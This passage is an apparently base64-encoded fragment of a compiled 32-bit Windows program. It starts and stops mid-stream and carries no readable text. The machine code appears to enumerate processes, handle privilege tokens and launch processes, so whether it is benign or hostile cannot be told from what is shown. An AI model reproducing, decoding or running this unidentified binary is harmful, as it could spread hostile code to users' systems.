IDHhWjz//8EAQAA/xUooEIAhcAPhb4AAACNhWjz//9QjYXo+///UI2FYPP//1BWaOSQQwD/tWzz////FTCgQgCFwHU8OYVo8///djRo9JBDAI2F8P3//2gEAQAAUOgp1AAAg8QMjYXo+///UI2F8P3//2gEAQAAUOii0wAAg8QM/7Vs8////9PrTYH+PBwTgHURgL9CBwAAAHQ8Vmj4kEMA6yiB/ksTE4B1EYC/QgcAAAB0I1ZouJFDAOsPgL9CBwAAAHQSVmh4kkMAagBqAOgNmgAAg8QQ/7V08////7V48////7WA8////xWcdEQAg7188///AA+EPAQAAIuFfPP//1CLCP9RDIvwhfYPhf8DAABqFMaFhvP//wHovrkAAIvYg8QEhdt0JlZWVlbHAzh8QwDHQwTAfEMAx0MMAQAAAP8VuKFCAIlDEIl7COsCM9uLhXzz//9TUIsI/1EUi/CF9g+FYwMAAGow6G+5AACDxASFwHQSV4vI6GPu//+L0ImFcPP//+sIM9KJlXDz//+LhXzz//9SUIsI/1EYi/CF9g+F7QIAAImFgPP//42VgPP//4uFfPP//1JW/zXIdEQAiwhQ/1EggH9EAIvwdDWB/i4TE4B1Lf81yHREAP8VjKBCAIuFfPP//42VgPP//1JqAMZHRAD/Nch0RACLCFD/USCL8IX2D4UbAgAA/7WA8///i41w8///xkdFAehQz///gL2H8///AI2F8P3//1B0B2jwkkMA6wVoJJNDAGoAagDom5gAAIPEEIB/RAB1FP81yHREAP8ViKBCAIXAdATGR0QBagCLz+glKAAAPQIBAAAPhbgAAACAf0QAdEloyAAAAI2FiPP//1D/FcigQgBqAIXAdCWL142NiPP//+hv2f//g8QEUP+1kPP///+1jPP///8VxKBCAOsMM9IzyehO2f//g8QEM8m4yAAAADhPRA9FwVD/cxD/FWygQgCFwHQfPQIBAAB0Jv81aHVEAMcFzHREAPb/////FYShQgDrDsYF0HREAAHGhYbz//8AagCLz+h6JwAAPQIBAAAPhFX///+AvYbz//8AD4TnAAAAi4WA8///jZV48///UseFePP//wAAAABo7HxDAIsIUP8Ri/CF9g+FoQAAAI1HcFCJhWTz////FWSgQgCLhXjz//9q/1CLCP9RDIvwhfZ1OouFePP//1CLCP9RJIvwhfZ0QoH+AhMTgHUQgL9CBwAAAHQxaEiTQwDrHoC/QgcAAAB0IWjgk0MA6w6Av0IHAAAAdBFoMJRDAGoAagDoEpcAAIPEDP+1ZPP///8V+KBCAIuFePP//1CLCP9RCIuFgPP//1CLCP9RCOm0AAAAgL9CBwAAAHQSVmiAlEMAagBqAOjOlgAAg8QQi4WA8///UIsI/1EI6YgAAACB/ksTE4B1NIC/QgcAAAB0ElZoCJVDAGoAagDompYAAIPEEGjEZ0MAuqCVQwC5SxMTgOgzCwAAg8QE60yAv0IHAAAAdBJWaOiVQwBqAGoA6GaWAACDxBBoxGdDALo8lkMAi87oAgsAAIPEBOsbgL9CBwAAAHQSVmhYlkMAagBqAOg1lgAAg8QQi4V88///agBQiwj/URiLjXDz//9RiwH/UAjrG4C/QgcAAAB0ElZosJZDAGoAagDo/pUAAIPEEIuFfPP//2oAUIsI/1EUiwNT/1AIgL2G8///AHUpi4V88///UIsI/1EQ6xuAv0IHAAAAdBJWaAiXQwBqAGoA6LiVAACDxBCLhXzz//9Qiwj/UQiLTfyLxl9eM81b6LeqAACL5V3D6PPNAADMVYvsg+wkoQhURAAzxYlF/FaNRehQaij/FaCgQgBQ/xUQoEIAhcB1ETPAXotN/DPN6HiqAACL5V3DjUXgUGgkiUMAagD/FQygQgCFwHTai0XgagBqAIlF8ItF5GoQiUX0jUXsUGoA/3Xox0XsAQAAAMdF+AIAAAD/FQigQgCL8IX2dA3/FbigQgAzyYXAD0Xx/3Xo/xVooEIAi038i8YzzV7oB6oAAIvlXcPMzMzMzMxVi+xRVmjshkMAaPyGQwDHRfwAAAAA/xWwoUIAUP8VoKFCAIvwhfZ0DY1F/FD/FaCgQgBQ/9aLRfxei+Vdw8zMVYvsg+wIodR0RACJRfyh/GJEAIlF+KG0dEQAVleFwA+FnwAAAIs1sKFCAGj8hkMA/9aLPaChQgBoTJdDAFD/16O0dEQAhcB1e2hkl0MA/9aFwHQPaEyXQwBQ/9ejtHREAOsFobR0RACFwHVYU2h8cEMAMtv/1ovwhfZ1E2h8cEMA/xWsoUIAi/CzAYX2dBFohJdDAFb/16O0dEQAhNt0DFb/FZSgQgChtHREAFuFwHUTaAFAAAD/FbygQgBfM8Bei+Vdw2gEAQAA/3X8agD/dfj/0F9ei+Vdw8zMzMzMzMxVi+xRU1ZXi/qL2VdqAP8VmKBCAFdqAIvw/xWsoEIAVov4/xXAoEIAaKyXQwCL8I1F/FNQ6I7QAACLTfyDxAyFyXUJX14ywFuL5V3DUVdqAVbox9MAAP91/Oit1AAAg8QUsAFfXluL5V3DzMzMzMzMVYvsgeyABgAAoQhURAAzxYlF/FNWajyNhYj5///HhYD5//9EAAAAagBQi9nHhYT5//8AAAAA6OWpAQCDxAyNhfD9//8PV8DzD3+FzPn//2gEAQAAUGoA/xWUoUIAhcAPhGcBAACNhfD9//9QjYXg+f//aAQBAABQ6H3MAACNhfD9//9qLlDo4M0AADPJaLSXQwBoBAEAAGaJCI2F8P3//1Do6MsAAIPEIGicl0MAaMSXQwBqAP8VkKBCAIXAdBWL0I2N8P3//+jE/v//hMAPhZ8AAACLNbSgQgCNhfD9//9Q/9aD+P8PhYcAAABoBAEAAI2F6Pv//1Bo4JdDAP8V2KBCAI2F8P3//2pcUOhazQAAUI2F6Pv//2gEAQAAUOhrywAAjYXo+///UI2F8P3//2gEAQAAUOi/ywAAg8QgaJyXQwBoxJdDAGoA/xWQoEIAhcB0EYvQjY3w/f//6C/+//+EwHUOjYXw/f//UP/Wg/j/dFmNhcz5//9QjYWA+f//UGoAagBqAGoAagBqAP8VtKFCAFCNhfD9//9Q/xWcoEIAhcB1Ov8VuKBCAGjEZ0MAuvCXQwCLyOhEBgAAg8QEjYXw/f//UP8VzKBCAIPI/15bi038M83okqYAAIvlXcNq//+1zPn//8ZDbgD/FWygQgCNhdz5//9Q/7XM+f///xWwoEIA/7XM+f//izVooEIA/9b/tdD5////1o2F8P3//1D/FcygQgCLTfyLhdz5//8zzV5b6DSmAACL5V3DzMzMVYvsUVeL+YX/dD9WagBqAGr/V2oAagD/FeCgQgCJRfwDwFDo6LQAAIvwg8QEhfZ0E/91/FZq/1dqAGoA/xXgoEIAi8ZeX4vlXcMzwF+L5V3DzMzMzMzMzMzMzMzMzMzMVYvsUVNWi8GL8ldQiUX8M9vo0tgAAFaL+OjK2AAAg8QIi/CF/3RkhfZ0V4vPjVECZosBg8ECZoXAdfUrytH5jUEBUFfoxtYAAIvOg8QIjVECZosBg8ECZoXAdfUrytH5jUEBUFbopdYAAFZX6NbEAACDxBCFwHQKi038K8fR+I0cQVfobLIAAIPEBIX2dAlW6F+yAACDxARfXovDW4vlXcPMzMzMzMzMzMzMzMzMzMxVi+yD7AxTi9lWV4XbD4TOAAAAi3UIhfYPhMMAAACLfQyF/w+EuAAAAIvW6CD///+JRfiFwA+EpgAAAIvLjVECZosBg8ECZoXAdfUryo1WAtH5ZosGg8YCZoXAdfUr8o1XAtH+ZosHg8cCZoXAdfUr+tH/i8crxoPAAgPBiUX8A8BQ6HmzAACDxASJRfSFwHRHi034K8vR+VFT/3X8UOgf0QAAV/91DIt99P91/Ffot9YAAItF+I0EcFD/dfxX6HvIAABXaAQBAABT6NvIAABX6G+xAACDxDxfXrABW4vlXcNfXjLAW4vlXcPMzMzMzMxomPZDAFHonMMAAIPECIXAdBxWi/CDwAJomPZDAFDohMMAAIPECIXAdemLxl7DM8DDzMzMzMzMzMzMzMzMzMzMVYvsg+wYiVX0i8GJTfhTVleF0nUJMsBfXluL5V3DZoM4AA9XwGYPE0Xsi13wi03sD4SIAAAAgH0IAA+3AHRCg/gwchGD+Dl3DA+kywSD6DDB4QTrToP4QXIRg/hGdwwPpMsEg+g3weEE6ziD+GFypYP4ZnegD6TLBIPoV8HhBOsig/gwco+D+Dl3iovxi/sPpPcCg+gwweYCA84T3w+kywEDyZkDyItF+BPag8ACiUX4ZoM4AA+Fe////4tV9F9eiVoEsAGJCluL5V3DzMzMzFWL7IPsEFaL8oX2dQcywF6L5V3D/3UID1fAjVX0Zg8TRfToCf///4PEBITAdN+DffgAi0X0fAd/1IP4/3fPiQawAV6L5V3DzMzMzMzMzMzMVYvsg+wMiU30V4v6hckPhD0CAACF/w+ENQIAAFaL8Y1OAmaLBoPGAmaFwHX1K/HR/lONBHUCAAAAUOhxsQAAi9iDxASJXfiF2w+EwwEAAIvPjVECZosBg8ECZoXAdfUrytH5jQRNAgAAAFDoQLEAAIPEBIlF/IXAD4SUAQAAi3X0i86NUQJmiwGDwQJmhcB19SvK0flWjUEBUP91+Oi4xgAAg8QMjU4C6waNmwAAAABmiwaDxgJmhcB19Svx0f6NRgFQ/3X46ETTAACLdfyLz4PECI1RAmaLAYPBAmaFwHX1K8rR+VeNQQFQ/3X86GjGAACDxAyNTwLrBo2bAAAAAGaLB4PHAmaFwHX1K/nR/41HAYt9/FBX6PPSAACDxAhmgz8AD4SZAAAAjaQkAAAAAA+3A2aFwA+EgwAAAA+3DoP5KnQRZjvID4WyAAAAg8YCg8MC62APt0YCjXYCZoXAD4S2AAAAg/gqdOsPtwYz0maFwHQRZoP4KnQLD7dEVgJCZoXAde8z/zPJhdJ+H41JAI0EOQ+3BENmhcB0Y2Y5BE50BUczyesBQTvKfOSNBDmNNE6NHENmgz4AD4Vx////i338ZoM+KnUR6waNmwAAAACDxgJmgz4qdPdmgz4AdVhmgzsAdVL/dfjoB64AAFfoAa4AAIPECLABW15fi+Vdw/91+OjtrQAA/3X86OWtAACDxAhbXjLAX4vlXcP/dfjo0a0AAP91/OjJrQAAg8QIsAFbXl+L5V3D/3X46LWtAABX6K+tAACDxAgywFteX4vlXcMywF+L5V3DzMzMzMzMzMxVi+yD5Pi4HBoAAOhwtwEAoQhURAAzxImEJBgaAABTi9lWi8OL8iUAAP//iXQkDFeLfQiJfCQUPQAAE4APhSkBAACLNdigQgCNhCQYEAAAaAQBAABQaEiYQwD/1o2EJBgQAABQ/xWsoUIAi8iFyXUsaAQBAACNhCQcEAAAUGjAmEMA/9aNhCQYEAAAUP8VrKFCAIvIhckPhMsAAABoAAQAAI1EJBxQD7fDBQBgAABQUf8VkKJCAIXAD4SpAAAAjUwkGMdEhBgAAAAA6HH5//+L+IX/D4SKAAAAagBX6IXIAACL8IPECDv3diONmwAAAAAPt07+g+4CUeis0QAAg8QEhcB0CTPAZokGO/d344tUJBS5xGdDAIXSuDiZQwAPRMFQi8EPRcJQi0QkGIXAV1NTD0XIUWg8mUMAagBqAOgOigAAg8QkV+hJrAAAg8QEX15bi4wkGBoAADPM6A6fAACL5V3Di3wkFIt0JBAzwFBoAAQAAGaJhCQoEgAAjYQkKBIAAFBqAFNqAGgAEgAA/xXcoEIAZoO8JCASAAAAD4STAAAAjYQkIBIAAGoAUOi1xwAAi/CDxAiNhCQgEgAAO/B2JA+3Tv6D7gJR6NvQAACDxASFwHQQM8BmiQaNhCQgEgAAO/B33IX/ucRnQwC4OJlDAA9EwVCLwQ9Fx1BTU42EJDASAABQi0QkJIXAD0XIUWh4mUMAagBqAOgziQAAg8QkX15bi4wkGBoAADPM6DyeAACL5V3Dhf+5xGdDALg4mUMAD0TBUIvBD0XHhfZQU1MPRc5RaKiZQwBqAGoA6O+IAACLjCREGgAAg8QgX15bM8zo+J0AAIvlXcPMzMzMzMzMVYvsg+T4g+wMU1ZXi30Ihf91DIPI/19eW4vlXcIEAGjoAwAAi88z2+hTGAAAPQIBAAAPhfkBAAC+AHFDAI1JAI1EJBDHRCQQAAAAAFBoIJpAAP8VjKJCAIC/rgAAAAAPhM4AAACDfCQQAA+EqgEAAGjcmUMAagFqAOhSiAAAg8QManjoRagAAIPEBIXAdA5Xi8jo+VcAAIlEJBTrCMdEJBQAAAAAi3QkEGgQBAAA6B2sAACLTCQYg8QEVmgwE0QAaAgCAABQiUEg6OarAACLdCQkg8QQi87GRigBx0YsbBNEAMdGTAMAAADo0nEAAI1GcFD/FYihQgCFwHUQi87obVgAAFbodKcAAIPEBGmHMAcAAOgDAACLz1DoYhcAAD0CAQAAD4UIAQAAvgBxQwDp5wAAAIN8JBAAD4S1AAAAQ7nEZ0MAO58wBwAAuLBwQwAPQsFQU2j4mUMAagFqAOhuhwAAg8QUO58wBwAAD4KpAAAAanjoVacAAIPEBIXAdAxXi8joCVcAAIvY6wIz24t0JBBoEAQAAOg1qwAAg8QEiUMgVmgwE0QAaAgCAABQ6AKrAACDxBDGQygBi8vHQyxsE0QAx0NMAwAAAOjycAAAjUNwUP8ViKFCAIXAdRCLy+iNVwAAU+iUpgAAg8QEvgBxQwDrJYXbdCGAv+wAAAAAuPRwQwAPRMZQaCSaQwBqAWoA6LuGAACDxBAz22joAwAAi8/oWhYAAD0CAQAAD4QP/v//X14zwFuL5V3CBADMzMzMVYvsUVaLdQiNRfxQVsdF/AAAAAD/FXyiQgCLRfw7Bch0RAB1JFb/FYiiQgCFwHQZVv8VhKJCAIXAdA6LRQyJMDPAXovlXcIIALgBAAAAXovlXcIIAMzMzMzMzMzMzMzMVYvsg+T4gewUCAAAoQhURAAzxImEJBAIAABTi10MVot1CFeLQwiLfRCD+A8Ph1wCAAAPtoBEnUAA/ySFLJ1AAIX2D4RGAgAA/3MMjUQkHGgABAAAUOiAvwAAg8QMjUQkGGgABAAAUOgjzAAAjUQkIGhImkMAUOhMugAAg8QQhcB1MI1EJBhoZJpDAFDoNroAAIPECIXAdRqNRCQYaHiaQwBQ6CC6AACDxAiFwA+E3AEAAMdGCAEAAADp0AEAAIX2D4TIAQAAiw6FyXU6/3MEi87oCgIAAP92DIsO/3YI6F2NAACDfggAdROLDuhwkAAAhcB0CIsOUOhEkQAAiw6FyQ+EiAEAAIN+CAAPhX4BAACNQwxQ6KeRAADpcAEAAIX2D4RoAQAAiwaFwA+EXgEAAItOBIXJdVGLQAwPV8CJRgRmDxNEJBCFwHREi0wkFItUJBCDeBQAdAaDeBgAdAYDUBCD0QCLQCCFwHXnhcl1CIH6AAAA/3YXiReJTwTHRwj/////6QYBAACLQSCJRgSDfgQAD4T2AAAA6waNmwAAAACLRgSDeBQAdBWDeBgAdQ+LQCCJRgSFwHXn6dAAAACLQAiZiQeJVwSLRgSLQBCJRwjpuQAAAIX2D4SiAAAAiwaFwA+EmAAAAIN+BAB1CItADIlGBOsXi0gMhcl0EItBCJk7B3UIO1cEdQOJTgSDfgQAdCCLXgSLQwhIA0MQmTtXBHcQcgQ7B3MKi0MgiUYEhcB14ItOBIXJdEaLQQiZOwd1JztXBHUig3kUAHQGg3kYAHQWi0EQiUcYx0ccAAAAAMdHMAEAAADrJsdHGAAAAADHRxwAAAAAx0cwAQAAAOsPx0cwAAAAAOsGxwcAAAAAi4wkHAgAALgBAAAAX15bM8zoqZgAAIvlXcIMAIv/wJpAAD6bQAAOnUAAnptAAFWcQAAInUAAAAECAgIDAgICAgQCAgIFAszMzMzMzMzMzMzMzFWL7FZqFIvx6ECjAACDxASFwHQoi1UIiRDHQAQAAAAAx0AMAAAAAMdACAAAAADHQBAAAAAAiQZeXcIEAMcGAAAAAF5dwgQAzMzMzMzMzMzMVYvsg+T4g+wkU1aLdQhXhfZ1DIPI/19eW4vlXcIEAGjoAwAAi87HRCQQAAAAAOh9EgAAPQIBAAAPhZMCAACL/4tGSA9XwGYPE0QkGIXAdFNQ/xXQokIAjUQkIMdEJCAAAAAAUI1EJBjHRCQYAAAAAFBoABQAAP92TA9XwGYP1kQkOP8VyKJCAIXAdReLRCQghcB0BYP4AXUKi3wkKItcJCzrCItcJByLfCQYgL6vAAAAAA+E4QAAAIqGJAcAAITAdBo7ngQBAAB8LH8IO74AAQAAciKEwA+F3gEAADueBAEAAA+M0gEAAH8MO74AAQAAD4LEAQAAU1dolJpDAGoBagDo+oEAAIPEFGp46O2hAACDxASFwHQKVovI6KFRAADrAjPAU1f/tgQBAACJRCQcjYYUAwAA/7YAAQAAi1wkIIvL/7YwBwAAUA+2hiQHAABQ6EtbAACNQ3BQ/xWIoUIAhcB1FIXbdBCLy+gyUgAAU+g5oQAAg8QEaYYwBwAA6AMAAIvOUOgnEQAAPQIBAAAPhT0BAADpIQEAAIqOJAcAAITJdBo7ngQBAAB8LH8IO74AAQAAciKEyQ+FywAAADueBAEAAA+MvwAAAH8MO74AAQAAD4KxAAAAi0wkDLrEZ0MAQbiwcEMAO44wBwAAiUwkDA9CwlBRU1douJpDAGoBagDo+4AAAItEJCiDxBw7hjAHAAAPgqIAAABqeOjeoAAAg8QEhcB0ClaLyOiSUAAA6wIzwFNX/7YEAQAAiUQkHI2GFAMAAP+2AAEAAItcJCCLy/+2MAcAAFAPtoYkBwAAUOg8WgAAjUNwUP8ViKFCAIXAdUCF23Q8i8voI1EAAFPoKqAAAIPEBOsqg3wkDAB0I4TJuPRwQwC5AHFDAA9EwVBTV2jsmkMAagFqAOhRgAAAg8QYx0QkDAAAAABo6AMAAIvO6OoPAAA9AgEAAA+Eb/3//19eM8Bbi+VdwgQAzMzMzFWL7FGhxHREAFeL+YXAdSBoGJtDAGj8hkMA/xWwoUIAUP8VoKFCAKPEdEQAhcB0W2oAjU38x0X8AAAAAFFX/9A9VD0AAHREg/h6dT+LRfxWjQRFAgAAAFDow6MAAIPEBIvwjUX8VlBX/xXEdEQAhcB0EVbo7KEAAIPEBDPAXl+L5V3Di8ZeX4vlXcMzwF+L5V3DzMzMzMzMzMzMzMzMzMxVi+yD7BBWM/ZXi/k5Nbx0RAB1JGgsm0MAaPyGQwD/FbChQgBQ/xWgoUIAo7x0RACFwA+EOQEAAIvPjVECjUkAZosBg8ECZoXAdfUrytH5U40ETQIAAABQ6COjAACL2IPEBIvHjVACZosIg8ACZoXJdfUrwtH4V0BQU+iruAAAaiFT6A+9AACDxBSFwA+E1QAAADPJUWaJCI1F+FBRjUX8iU38UFOJTfj/Fbx0RACFwA+EsQAAAIP4eg+FqAAAAItF/MHgAlDotaIAAItN+Iv4A8mJffRR6KWiAACDxAiJRfBQjUX4UFeNRfxQU/8VvHREAIXAdWCLRfyFwHRZg/gBdVSLP4vPjVECjaQkAAAAAGaLAYPBAmaFwHX1K8rR+Y0ETQIAAABQ6FSiAACLz4PEBIvwjVECZosBg8ECZoXAdfUrytH5V41BAVBW6Nq3AACLffSDxAxX6GigAAD/dfDoYKAAAIPECFPoV6AAAIPEBFtfi8Zei+Vdw8zMzMzMzMxVi+yD7CShCFREADPFiUX8U4sd/GJEAIld4FZXvwVAAICE0g+FygAAAIvL6LD9//+L2IXbD4S2AAAAagBqAP8VuKJCAIlF3IXAD4iUAAAAjUXsUGhIm0MA/xW8okIAjUXox0XoAAAAAFBoCJxDAGoBagCNRexQ/xWsokIAi/iF/3hVvgQAAADHReQAAAAAi/+F9nQoi0XojVXkUlNQiwj/UTyL+IX/eCaDfeQCdQ5o+gAAAP8VcKBCAE7r1IN95AN1DItF6FNQiwj/URiL+ItF6FCLCP9RCIN93AB1Bv8VtKJCAFPoW58AAIPEBIX/dC+LXeChwHREAIXAdSBomJtDAGiUfUMA/xWwoUIAUP8VoKFCAKPAdEQAhcB0A1P/0ItN/LgBAAAAX14zzVvo7JEAAIvlXcPMzMzMzMzMzMzMzFWL7IPsIKEIVEQAM8WJRfhTi8GL2olF4FZXhcAPhIMAAACF23R/agBqAL4FQACA/xW4okIAi/iF/3hXjUXoUGhIm0MA/xW8okIAjUXkx0XkAAAAAFBoCJxDAGoBagCNRehQ/xWsokIAi/CF9ngai0XkagBT/3XgiwhQ/1EMi/CLReRQiwj/UQiF/3UG/xW0okIAi8ZfXluLTfgzzeg8kQAAi+Vdw4tN+LhXAAeAX14zzVvoJpEAAIvlXcPMzMzMzFWL7IPsHKEIVEQAM8WJRfxTi9lWV4XbdRa4VwAHgF9eW4tN/DPN6PKQAACL5V3DagBqAL4FQACA/xW4okIAi/iF/3hSjUXsUGhIm0MA/xW8okIAjUXox0XoAAAAAFBoCJxDAGoBagCNRexQ/xWsokIAi/CF9ngVi0XoU1CLCP9REIvwi0XoUIsI/1EIhf91Bv8VtKJCAItN/IvGX14zzVvoeJAAAIvlXcPMzMzMzMzMVYvsg+wkoQhURAAzxYlF/FOLwYlF4FaL8leFwHUWuFcAB4BfXluLTfwzzeg9kAAAi+Vdw4X2dAbHBgAAAABqAGoAvwVAAID/FbiiQgCL2IXbeHuNRexQaKibQwD/FbyiQgCNRejHRegAAAAAUGj4m0MAagRqAI1F7FD/FayiQgCL+IX/eD5qAP916P8VsKJCAItF6I1V5FJqAGoA/3Xgx0XkAAAAAIsIUP9RDIv4hf94CYX2dAWLReSJBotF6FCLCP9RCIXbdQb/FbSiQgCLTfyLx19eM81b6JCPAACL5V3DzMzMzMzMzMzMzMzMzMzMVYvsg+T4UYtFCFaD+AYPh/UAAAD/JIVkp0AAgD3edUQAAHQRaBicQwBqAGoA6C56AACDxAy+AwAAAOtPgD3edUQAAHRBaCicQwDrLoA93nVEAAB0MWg8nEMA6x6APd51RAAAdCFoVJxDAOsOgD3edUQAAHQRaGCcQwBqAGoA6N15AACDxAy+CAAAAP81aHVEAIk1zHREAP8VhKFCAGnG6AMAAIs1bKBCAFD/NXB1RAD/1j0CAQAAdUSAPd51RAAAdCwy0uiX+///aOgDAAD/NXB1RAD/1j0CAQAAdSBoeJxDAGoAagDodXkAAIPEDGr//xWgoEIAUP8V5KBCALgBAAAAXovlXcIEADPAXovlXcIEAIv/rKZAALymQABrpkAAWadAAFmnQACMpkAAnKZAAFWL7IPk+IPsCFZXaAACAABqBGoA6KGkAACDwCBQ6JnBAACDxBBoJHVEAP8VpKBCAOhbf///i3UMhcB1GIvWjU0I6BqB//+FwHUKuXB1RADoDBEAAFaNVQjoo3z//4PEBIXAdQu4AQAAAF9ei+Vdw1b/dQi5cHVEAOiTHwAAhcB1XjgFU3ZEAHQhuXB1RADozQ8AAIXAdBNoLB5EAFBoIHVEAOiQtQAAg8QMgD1CdkQAAHRKuXB1RADooxAAALlwdUQA6JmO//+FwHQdaMRnQwC6xGdDAIvI6ATt//+DxASDyP9fXovlXcNo0JxDAOi6mgAAg8QEM8BfXovlXcOAPbB8RAAAdCi5cHVEAOhQEAAA6GuP//+FwHWyaFCdQwDoiZoAAIPEBDPAX16L5V3Diw2YfEQA6BdKAACD+P0PhMICAACD+P4PhJcCAACD+P8PhG4CAACAPap1RAAAxwUIdUQAAAAAAMcFGHVEAAAAAADHBQx1RACAmkAAdGqLFWR2RAC5AwAAAOilSgAAPa0L//90MYP4/nVOuXB1RADovw8AAGjEZ0MAuuifQwC5/v///+gr7P//uPT///+DxARfXovlXcO5cHVEAOiTDwAAaECfQwDo1ZkAALj1////g8QEX16L5V3DagFoUKZAAP8V6KBCALlwdUQA6FQFAACL8IX2dBT/NXB1RAD/FYShQgCLxl9ei+Vdw4A9s3xEAAB1CrlwdUQA6DcPAAC5cHVEAOhtBQAAhcAPhZEAAAA4Bd11RAAPhYUAAACBPUh2RACt27oAdTg5BUx2RAB1MGp46MuWAACDxASFwHQXaHB1RACLyOh7RgAAi/CLzugiTgAA60Uz9ovO6BdOAADrOmp46JuWAACDxASFwHQQaHB1RACLyOhLRgAAi/DrAjP2/zVMdkQA/zVIdkQA/zVEdkQAUYvO6BtUAACLzuhUSAAAocB1RACFwH4Qav9qAWjEdUQAUP8VBKFCAIs1cKBCAGj6AAAA/9aAPdB0RAAAdBFoLKBDAGoBagDoJ3YAAIPEDDLAgz3cdEQAAIhEJA9+Q79woEMAhMB1JoM9zHREAAC4YKBDAA9Ex1BohKBDAGoBagDo7nUAAIPEEMZEJA8BaPoAAAD/1oM93HREAACKRCQPf8KhjHVEADsFaHZEAHUHaLygQwDrBWjooEMAagFqAOiwdQAAg8QM/zVwdUQA/xWEoUIAofxiRACD+P90EVD/FWigQgDHBfxiRAD/////aDiZQwDo+JcAAKGMdUQAg8QEX16L5V3DuXB1RADolA0AAGjMnUMA6NaXAACDxASDyP9fXovlXcO5cHVEAOh0DQAAaAieQwDotpcAALj+////g8QEX16L5V3DuXB1RADoUg0AAGiYnkMA6JSXAACDxAS4/f///19ei+Vdw8zMzMzMzMzMzMxVi+xq/2henEIAZKEAAAAAUFFWoQhURAAzxVCNRfRkowAAAABqAGoAx0XwcHVEAMcFMHZEAAAAAADHBTR2RAAAAAAA6Jg7AACjMHZEAGoAx0X8AAAAAGoAxwU4dkQAAAAAAMcFPHZEAAAAAADobzsAAIs1uKFCAGoAagBqAWoAozh2RAD/1moAagBqAWoAo3B1RAD/1moAagBqAWoAo3R1RAD/1moAagBqAWoAo3h1RAD/1mj4dUQAo3x1RAD/FQChQgCLNaSgQgBokHVEAP/WD1fAZscF3XVEAAABaOB1RABmD38FgHVEAGbHBbR1RAAAAMcFwHVEAAAAAADGBdx1RAAA/9bHBRx2RAAAAQEBZscFIHZEAAEAxwWYfEQAAQAAAMYFInZEAAHHBSR2RAD/////xgUodkQAAMcFLHZEAAAAAABmxwVAdkQAAADGBUJ2RAAAxwVEdkQAAAAAAMcFSHZEAK3bugDHBUx2RAAAAAAAZscFUXZEAAAAxgVTdkQAAMcFVHZEAAAAAADHBVh2RAD/////xgVcdkQAAMcFqHVEAAAAAADHBWB2RAAAAAAAxwVkdkQAAAAAAMYFrHVEAADGBVB2RAAAxwVodkQA/////8YFbHZEAADHBXB2RAD/////xwV0dkQA/////8cFeHZEAAAAAABmxwWUfEQAAADGBZZ8RAAAuHB1RADGBZx8RAAAxwWgfEQA/////8YFpHxEAADHBah8RAAAAAAAxwWsfEQAAAAAAMcFsHxEAAAAAADGBbR8RAAAxwW4fEQAAAAAAGbHBbyMRAAAAYtN9GSJDQAAAABZXovlXcPMzMxW/zVwdUQAizVooEIA/9b/NXR1RAD/1qE4dkQAiwiJAKE4dkQAiUAEoTh2RADHBTx2RAAAAAAAO8h0G+sDjUkAizFR6PWRAAChOHZEAIPEBIvOO/B16lDo4ZEAAKEwdkQAg8QEiwiJAKEwdkQAiUAEoTB2RADHBTR2RAAAAAAAO8h0FosxUeiykQAAoTB2RACDxASLzjvwdepQ6J6RAACDxARew8zMzMzMzMzMzMzMzFZqAGoAi/FWaCB2QABqAGoA/xXUoEIAi05Qav+JRI5U/3YM/0ZQ/xVsoEIAgz3MdEQAAHQP/zb/FYShQgC4/v///17DM8Bew8zMzMzMzMzMU1ZXi/Ez/+gENgAAi87o7RIAAIO+tAAAAP+LHdSgQgB0HVdXVmiAWEAAV1f/04vIvwEAAACLRlCJTIZU/0ZQg77oAAAA/3QdagBqAFZoADlAAGoAagD/04vIi0ZQiUyGVP9GUEeLhgABAAAjhgQBAACD+P90HWoAagBWaLCdQABqAGoA/9OLyItGUIlMhlT/RlBHgL7RAAAAAHQdagBqAFZo4JdAAGoAagD/04vIi0ZQiUyGVP9GUEeAviwHAAAAdB1qAGoAVmiQIkEAagBqAP/Ti8iLRlCJTIZU/0ZQR2oAagBWaOASQABqAGoA/9OLx19eW8PMzMzMzMzMzMzMzFaL8YO+OAcAAAB1BDLAXsP/FXygQgCLjjwHAACL0CvRO8EPQtI7ljgHAABeG8D32MPMzMzMzMzMzMzMzMzMzMxVi+xWi/FXi0YYO4b4AAAAfSSAPdB0RAAAdRuLPWygQgBqAP81/GJEAP/XhcB1EsYF0HREAAFfuIAAAABeXcIEAFP/dQj/NWh1RAD/14vYgfsCAQAAdTWLThg7jvgAAAB9HoA90HREAAB1FWoA/zX8YkQA/9eFwHUTxgXQdEQAAVtfuIAAAABeXcIEAIvDW19eXcIEAMzMzMzMzMzMzMzMVYvsg+wIoWh1RABWV/91DIlF+Ivxi0UIiUX8jUX4agBQagL/FQShQgCL+IH/AgEAAHU6i04YO474AAAAfSKAPdB0RAAAdRlqAP81/GJEAP8VbKBCAIXAdRTGBdB0RAABX7iAAAAAXovlXcIIAIvHX16L5V3CCADMzMzMzMzMzMz/NWh1RACJDcx0RAD/FYShQgChzHREAMPMzMzMzMzMzFWL7IHsOAQAAKEIVEQAM8WJRfxTVldoKAIAAI2FzPv//8eFyPv//wAAAABqAFDorYUBADPAM9toBgIAAFBmiYX0/f//jYX2/f//UOiQhQEAg8QY/xUUoUIAU2oCi/j/FRChQgCL8IP+/w+EnwAAAI2FyPv//8eFyPv//ywCAABQVv8V/KBCAIXAdB6LHQihQgA7vdD7//90bY2FyPv//1BW/9OFwHXqM9tW/xVooEIAhdt0WlNqAGgQBAAA/xWooEIAhcB0SGgEAQAAjY30/f//UVD/FTyiQgCFwHQxaJRnQwCNhfT9//9Q/xVUokIA99hfG8Be99hbi038M83oK4MAAIvlXcOLneD7///rm4tN/DLAX14zzVvoEIMAAIvlXcPMzMzMzMzMzMzMzMzMzMxVi+yB7EwCAAChCFREADPFiUX8U1ZXaCgCAACNhcz9///Hhcj9//8sAgAAi9lqAFCJnbj9///odYQBAIPEDIC7QwcAAAB0KeiE/v//hMB1IIvL6LkFAAD/Ndh0RABosKFDAOj1jwAAg8QIjZsAAAAAagBqAv8VEKFCAIv4hf8PhE8DAACNhcj9//9QV/8V/KBCAIXAD4S/AAAA/zXYdEQA6HO1AACL2IPEBKHYdEQAjVACZosIg8ACZoXJdfUrwtH4QFBT6LW4AACDxAiNZCQAjYXs/f//UOg8tQAAg8QEi/CNUAJmiwiDwAJmhcl19SvC0fhAUFbog7gAAIvDg8QIjVACZosIg8ACZoXJdfUrwtH4UFNW6ES5AACDxAyFwHUXOQXIdEQAD4WcAAAAi4XQ/f//o8h0RACNhcj9//9QV/8VCKFCAIXAdYZT6NSOAACLnbj9//+DxARX/xVooEIAiw3IdEQAhckPheIAAAA4i0MHAAAPhNYAAAChzHREAIXAdR5o9AEAAP8